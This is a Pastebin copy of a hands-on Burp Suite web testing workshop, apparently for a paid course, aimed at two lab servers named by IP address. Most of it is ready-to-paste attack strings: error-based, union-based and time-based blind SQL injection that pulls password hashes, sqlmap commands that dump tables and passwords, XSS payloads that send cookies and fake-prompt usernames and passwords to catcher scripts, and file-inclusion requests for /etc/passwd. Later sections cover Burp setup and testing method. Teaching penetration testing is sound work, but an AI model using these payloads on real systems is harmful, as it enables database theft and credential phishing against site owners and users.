Advertisement
joemccray

Burp Suite Workshop V3

Sep 7th, 2017
4,106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.22 KB | None | 0 0
  1. #######################
  2. # Burp Suite Workshop #
  3. #######################
  4.  
  5.  
  6. ##################################
  7. # Basic: Web Application Testing #
  8. ##################################
  9.  
  10. Most people are going to tell you reference the OWASP Testing guide.
  11. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  12.  
  13. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  14.  
  15.  
  16. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  17.  
  18. 1. Does the website talk to a DB?
  19. - Look for parameter passing (ex: site.com/page.php?id=4)
  20. - If yes - try SQL Injection
  21.  
  22. 2. Can I or someone else see what I type?
  23. - If yes - try XSS
  24.  
  25. 3. Does the page reference a file?
  26. - If yes - try LFI/RFI
  27.  
  28. Let's start with some manual testing against 45.77.162.239
  29.  
  30.  
  31. Start here:
  32. ---------------------------Paste this into Firefox-----------------------------------
  33. http://45.77.162.239/
  34. -----------------------------------------------------------------------
  35.  
  36. There's no parameter passing on the home page so the answer to question 1 is NO.
  37. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  38.  
  39. Try an XSS in the search box on the home page:
  40. ---------------------------Paste this into Firefox-----------------------------------
  41. <script>alert(123);</script>
  42. -------------------------------------------------------------------------------------
  43.  
  44. Doing this gives us the following in the address bar:
  45. ---------------------------Paste this into Firefox-----------------------------------
  46. http://45.77.162.239/BasicSearch.aspx?Word=<script>alert(123);</script>
  47. -------------------------------------------------------------------------------------
  48.  
  49. Ok, so that XSS attempt didn't work - we'll cover more of this later.
  50.  
  51. Let's move on to the search box in the left of the page.
  52.  
  53. Let's give the newsletter signup box a shot
  54.  
  55. Moving on to the login page.
  56. ---------------------------Paste this into Firefox-----------------------------------
  57. http://45.77.162.239/login.aspx
  58. -------------------------------------------------------------------------------------
  59.  
  60. I entered a single quote (') for both the user name and the password. I got the following error:
  61.  
  62. Let's try throwing a single quote (') in there:
  63. ---------------------------Paste this into Firefox-----------------------------------
  64. http://45.77.162.239/bookdetail.aspx?id=2'
  65. -------------------------------------------------------------------------------------
  66.  
  67. I get the following error:
  68.  
  69. Unclosed quotation mark after the character string ''.
  70. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  71.  
  72. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83. #########################################################################################
  84. # SQL Injection #
  85. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  86. #########################################################################################
  87.  
  88.  
  89. - Another quick way to test for SQLI is to remove the parameter value
  90.  
  91.  
  92. #############################
  93. # Error-Based SQL Injection #
  94. #############################
  95. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  96. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  97. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  98. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  99. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  100. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  101. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  102. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  103. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  104. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  105. ---------------------------------------------------------------------------------------------------------
  106.  
  107.  
  108.  
  109.  
  110.  
  111. #############################
  112. # Union-Based SQL Injection #
  113. #############################
  114. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  115. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  116. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  117. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  118. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  119. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  120. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  121. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  122. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  123. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  124. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  125. ---------------------------------------------------------------------------------------------------------
  126.  
  127. We are using a union select statement because we are joining the developer's query with one of our own.
  128. Reference:
  129. http://www.techonthenet.com/sql/union.php
  130. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  131. It removes duplicate rows between the various SELECT statements.
  132.  
  133. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  134. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  135. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  136. ---------------------------------------------------------------------------------------------------------
  137. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  138.  
  139. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  140. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  141. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  142. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  143. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  144. ---------------------------------------------------------------------------------------------------------
  145.  
  146.  
  147.  
  148.  
  149. - Another way is to see if you can get the backend to perform an arithmetic function
  150. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  151. http://45.77.162.239/bookdetail.aspx?id=(2)
  152. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  153. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  154. ---------------------------------------------------------------------------------------------------------
  155.  
  156. - This is some true/false logic testing
  157. ---------------------------Paste this into Firefox-----------------------------------
  158. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  159. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  160. http://45.77.162.239/bookdetail.aspx?id=1*1
  161. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  162. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  163. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  164. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  165. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  166. -------------------------------------------------------------------------------------
  167.  
  168. -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
  169. ---------------------------Paste this into Firefox-----------------------------------
  170. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  171. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  172. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  173. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  174. ---------------------------------------------------------------------------------------
  175.  
  176.  
  177. ###############################
  178. # Blind SQL Injection Testing #
  179. ###############################
  180. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  181.  
  182. 3 - Total Characters
  183. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  184. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  185. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  186. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  187. ---------------------------------------------------------------------------------------------------------
  188.  
  189. Let's go for a quick check to see if it's DBO
  190. ---------------------------Paste this into Firefox-----------------------------------
  191. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  192. -------------------------------------------------------------------------------------
  193. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  194.  
  195. D - 1st Character
  196. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  197. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  198. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  199. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  200. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  201. ---------------------------------------------------------------------------------------------------------
  202.  
  203. B - 2nd Character
  204. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  205. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  206. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  207. ---------------------------------------------------------------------------------------------------------
  208.  
  209. O - 3rd Character
  210. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  211. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  212. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  213. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  214. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  215. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  216. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  217. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  218. ---------------------------------------------------------------------------------------------------------
  219.  
  220.  
  221.  
  222.  
  223. ##########
  224. # Sqlmap #
  225. ##########
  226. If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
  227. ---------------------------Type This-----------------------------------
  228. cd ~/toolz/sqlmap-dev/
  229. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
  230. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
  231. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
  232. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
  233. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
  234. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  235. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  236. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  237. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  238. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
  239. ------------------------------------------------------------------------
  240.  
  241.  
  242.  
  243. #######################
  244. # Attacking PHP/MySQL #
  245. #######################
  246.  
  247. Go to LAMP Target homepage
  248. ---------------------------Paste this into Firefox-----------------------------------
  249. http://45.63.104.73/
  250. -------------------------------------------------------------------------------------
  251.  
  252.  
  253. Clicking on the Acer Link:
  254. ---------------------------Paste this into Firefox-----------------------------------
  255. http://45.63.104.73/acre2.php?lap=acer
  256. -------------------------------------------------------------------------------------
  257.  
  258. - Found parameter passing (answer yes to question 1)
  259. - Insert ' to test for SQLI
  260.  
  261. ---------------------------Paste this into Firefox-----------------------------------
  262. http://45.63.104.73/acre2.php?lap=acer'
  263. -------------------------------------------------------------------------------------
  264.  
  265. Page returns the following error:
  266. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  267.  
  268.  
  269.  
  270. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  271. We do this using the ORDER BY
  272. ---------------------------Paste this into Firefox-----------------------------------
  273. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  274. -------------------------------------------------------------------------------------
  275.  
  276.  
  277. Page returns the following error:
  278. Unknown column '100' in 'order clause'
  279.  
  280.  
  281. ---------------------------Paste this into Firefox-----------------------------------
  282. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  283. -------------------------------------------------------------------------------------
  284.  
  285.  
  286. Page returns the following error:
  287. Unknown column '50' in 'order clause'
  288.  
  289.  
  290. ---------------------------Paste this into Firefox-----------------------------------
  291. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  292. -------------------------------------------------------------------------------------
  293.  
  294. Page returns the following error:
  295. Unknown column '25' in 'order clause'
  296.  
  297.  
  298. ---------------------------Paste this into Firefox-----------------------------------
  299. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  300. -------------------------------------------------------------------------------------
  301.  
  302. Page returns the following error:
  303. Unknown column '12' in 'order clause'
  304.  
  305.  
  306. ---------------------------Paste this into Firefox-----------------------------------
  307. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  308. -------------------------------------------------------------------------------------
  309. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  310.  
  311.  
  312.  
  313. Now we build out the union all select statement with the correct number of columns
  314.  
  315. Reference:
  316. http://www.techonthenet.com/sql/union.php
  317.  
  318.  
  319. ---------------------------Paste this into Firefox-----------------------------------
  320. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  321. -------------------------------------------------------------------------------------
  322.  
  323.  
  324.  
  325. Now we negate the parameter value 'acer' by turning into the word 'null':
  326.  
  327. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  328. -------------------------------------------------------------------------------------
  329.  
  330. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  331.  
  332.  
  333. Use a cheat sheet for syntax:
  334. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  335.  
  336. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  337. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  338.  
  339. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  340.  
  341. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  342.  
  343. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  344.  
  345. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  346. ------------------------------------------------------------------------------------- -------------------
  347.  
  348.  
  349.  
  350.  
  351. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  352.  
  353. Here is a good reference for it:
  354. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  355.  
  356. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  357.  
  358.  
  359. ###############################################################################
  360. # What is XSS #
  361. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  362. ###############################################################################
  363.  
  364. OK - what is Cross Site Scripting (XSS)
  365.  
  366. 1. Use Firefox to browse to the following location:
  367. ---------------------------Paste this into Firefox-----------------------------------
  368. http://45.63.104.73/xss_practice/
  369. -------------------------------------------------------------------------------------
  370.  
  371. A really simple search page that is vulnerable should come up.
  372.  
  373.  
  374.  
  375.  
  376. 2. In the search box type:
  377. ---------------------------Paste this into Firefox-----------------------------------
  378. <script>alert('So this is XSS')</script>
  379. -------------------------------------------------------------------------------------
  380.  
  381.  
  382. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  383. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  384.  
  385.  
  386. 3. In the search box type:
  387. ---------------------------Paste this into Firefox-----------------------------------
  388. <script>alert(document.cookie)</script>
  389. -------------------------------------------------------------------------------------
  390.  
  391.  
  392. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  393. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  394.  
  395. 4. Now replace that alert script with:
  396. ---------------------------Paste this into Firefox-----------------------------------
  397. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  398. -------------------------------------------------------------------------------------
  399.  
  400. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  401.  
  402.  
  403. 5. Now view the stolen cookie at:
  404. ---------------------------Paste this into Firefox-----------------------------------
  405. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  406. -------------------------------------------------------------------------------------
  407.  
  408. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415. ############################
  416. # A Better Way To Demo XSS #
  417. ############################
  418.  
  419.  
  420. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  421.  
  422.  
  423. Use Firefox to browse to the following location:
  424. ---------------------------Paste this into Firefox-----------------------------------
  425. http://45.63.104.73/xss_practice/
  426. -------------------------------------------------------------------------------------
  427.  
  428.  
  429. Paste this in the search box
  430. ----------------------------
  431.  
  432.  
  433. Option 1
  434. --------
  435. ---------------------------Paste this into Firefox-----------------------------------
  436. <script>
  437. password=prompt('Your session is expired. Please enter your password to continue',' ');
  438. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  439. </script>
  440. -------------------------------------------------------------------------------------
  441.  
  442. Now view the stolen cookie at:
  443. ---------------------------Paste this into Firefox-----------------------------------
  444. http://45.63.104.73/xss_practice/passwords.html
  445. -------------------------------------------------------------------------------------
  446.  
  447.  
  448. Option 2
  449. --------
  450. -------------------------Paste this into Firefox-----------------------------------
  451. <script>
  452. username=prompt('Please enter your username',' ');
  453. password=prompt('Please enter your password',' ');
  454. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  455. </script>
  456. -------------------------------------------------------------------------------------
  457.  
  458.  
  459.  
  460. Now view the stolen cookie at:
  461. http://45.63.104.73/xss_practice/username_password_logs.html
  462.  
  463.  
  464.  
  465.  
  466. #########################################
  467. # Let's try a local file include (LFI) #
  468. #########################################
  469. - Here is an example of an LFI
  470. - Open this page in Firefox:
  471. -------------------------Paste this into Firefox-----------------------------------
  472. http://45.63.104.73/showfile.php?filename=contactus.txt
  473. -------------------------------------------------------------------------------------
  474.  
  475.  
  476. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  477. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  478. - You can attack this by doing the following:
  479. -------------------------Paste this into Firefox-----------------------------------
  480. http://45.63.104.73/showfile.php?filename=/etc/passwd
  481. -------------------------------------------------------------------------------------
  482.  
  483.  
  484. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  485. - somewhere else on the Internet. Here is an example of a text file on the web:
  486. -------------------------Paste this into Firefox-----------------------------------
  487. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  488. -------------------------------------------------------------------------------------
  489.  
  490. - Now we can attack the target via RFI like this:
  491. -------------------------Paste this into Firefox-----------------------------------
  492. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  493. -------------------------------------------------------------------------------------
  494.  
  495.  
  496.  
  497. ###############################
  498. # How much fuzzing is enough? #
  499. ###############################
  500. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  501.  
  502. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  503.  
  504.  
  505. Step 1: Ask yourself the 3 questions per page of the site.
  506.  
  507. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  508.  
  509. Step 3: When you load your fuzz strings - use the following decision tree
  510.  
  511. - Are the fuzz strings causing a default error message (example 404)?
  512. - If this is the case then it is most likely NOT vulnerable
  513.  
  514. - Are the fuzz strings causing a WAF or LB custom error message?
  515. - If this is the case then you need to find an encoding method to bypass
  516.  
  517.  
  518. - Are the fuzz strings causing an error message that discloses the backend type?
  519. - If yes, then identify DB type and find correct syntax to successfully exploit
  520. - Some example strings that I use are:
  521. '
  522. "
  523. () <----- Take the parameter value and put it in parenthesis
  524. (5-1) <----- See if you can perform an arithmetic function
  525.  
  526.  
  527. - Are the fuzz strings rendering executable code?
  528. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  529. - Some example strings that I use are:
  530. <b>hello</b>
  531. <u>hello</u>
  532. <script>alert(123);</script>
  533. <script>alert(xss);</script>
  534. <script>alert('xss');</script>
  535. <script>alert("xss");</script>
  536.  
  537.  
  538.  
  539.  
  540.  
  541.  
  542. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  543.  
  544.  
  545.  
  546.  
  547.  
  548. #########################
  549. # Setting up Burp Suite #
  550. #########################
  551. Download the latest free version of FoxyProxy at https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
  552.  
  553. Download the latest free version of Burp at https://portswigger.net/burp/freedownload
  554.  
  555. Be sure to download the appropriate version for your computer system/OS.
  556.  
  557. Make sure that burpsuite_free_v1.7.27.jar is set as executable (chmod +x burpsuite_free_v1.7.27.jar) and then run:
  558.  
  559. java -jar burpsuite_free_v1.7.27.jar
  560.  
  561. - Click the "Proxy" tab
  562. - Click the "Options" sub tab
  563. - Click “Edit” in the “Proxy Listeners” section
  564. - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
  565. - In the same pop up make sure that the bind port is 8080
  566. - In the same pop up select the “Certificate” tab
  567. - Ensure that burp is configured to "generate CA-signed per-host certificates"
  568.  
  569. Open Firefox
  570. - Click "Edit"
  571. - Click “Preferences"
  572. - Click the "Advanced" tab
  573. - Click the "Network" sub tab
  574. - Click the connection "settings" button
  575. - Click "manual proxy configuration"
  576. set it to 127.0.0.1 port 8080
  577. check "Use this proxy server for all protocols"
  578. - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
  579.  
  580.  
  581. Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
  582.  
  583. Visit any SSL-protected URL.
  584.  
  585. On the “This Connection is Untrusted” screen, click on “Add Exception”
  586. Click "Get Certificate", then click "View".
  587.  
  588. In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
  589.  
  590. Click "Export" and save the certificate as "BurpCert" on the Desktop.
  591.  
  592. Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
  593. Go to Edit | Preferences
  594. Click “Advanced” and go to “Certificates” tab
  595. Click “View Certificates”
  596.  
  597. Click "Import" and select the certificate file that you previously saved.
  598.  
  599. On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
  600.  
  601. Close all dialogs and restart Firefox
  602.  
  603.  
  604.  
  605.  
  606.  
  607. ###############################################################
  608. # Question 1: What is the process that you use when you test? #
  609. ###############################################################
  610.  
  611. Step 1: Automated Testing
  612.  
  613. Step 1a: Web Application vulnerability scanners
  614. -----------------------------------------------
  615. - Run two (2) unauthenticated vulnerability scans against the target
  616. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  617. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  618.  
  619. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  620.  
  621. A good web application vulnerability scanner comparison website is here:
  622. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  623.  
  624.  
  625. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  626.  
  627. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  628.  
  629.  
  630. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  631.  
  632.  
  633. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  634.  
  635.  
  636.  
  637. Step 1b: Directory Brute Forcer
  638. -------------------------------
  639. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  640.  
  641.  
  642.  
  643. Step 2: Manual Testing
  644.  
  645. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  646.  
  647. Step 2a: Spider/Scan the entire site with Burp Suite
  648. Save the spider and scan results. I usually provide this data to the customer as well.
  649.  
  650.  
  651. Step 2b: Browse through the site using the 3 question method
  652. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  653.  
  654. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  655.  
  656. Here is what I mean:
  657. http://www.site.com/page.aspx?parametername=parametervalue
  658.  
  659. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  660.  
  661. http://www.site.com/page.aspx?parametername=[ payload ]
  662.  
  663. You need to ensure that you send the payload this way, and like this below:
  664.  
  665. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  666.  
  667. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  668.  
  669.  
  670.  
  671.  
  672.  
  673.  
  674.  
  675. ###########################################
  676. # Question 2: How much fuzzing is enough? #
  677. ###########################################
  678. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  679.  
  680. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  681.  
  682.  
  683. Step 1: Ask yourself the 3 questions per page of the site.
  684.  
  685. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  686.  
  687. Step 3: When you load your fuzz strings - use the following decision tree
  688.  
  689. - Are the fuzz strings causing a default error message (example 404)?
  690. - If this is the case then it is most likely NOT vulnerable
  691.  
  692. - Are the fuzz strings causing a WAF or LB custom error message?
  693. - If this is the case then you need to find an encoding method to bypass
  694.  
  695.  
  696. - Are the fuzz strings causing an error message that discloses the backend type?
  697. - If yes, then identify DB type and find correct syntax to successfully exploit
  698. - Some example strings that I use are:
  699. '
  700. "
  701. () <----- Take the parameter value and put it in parenthesis
  702. (5-1) <----- See if you can perform an arithmetic function
  703.  
  704.  
  705. - Are the fuzz strings rendering executable code?
  706. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  707. - Some example strings that I use are:
  708. <b>hello</b>
  709. <u>hello</u>
  710. <script>alert(123);</script>
  711. <script>alert(xss);</script>
  712. <script>alert('xss');</script>
  713. <script>alert("xss");</script>
  714.  
  715.  
  716.  
  717.  
  718.  
  719.  
  720.  
  721. -------------------------------------------------------------------------------------------
  722.  
  723.  
  724.  
  725.  
  726.  
  727.  
  728. ************************ Class Homework ************************
  729.  
  730. Day 1 Homework:
  731. ---------------
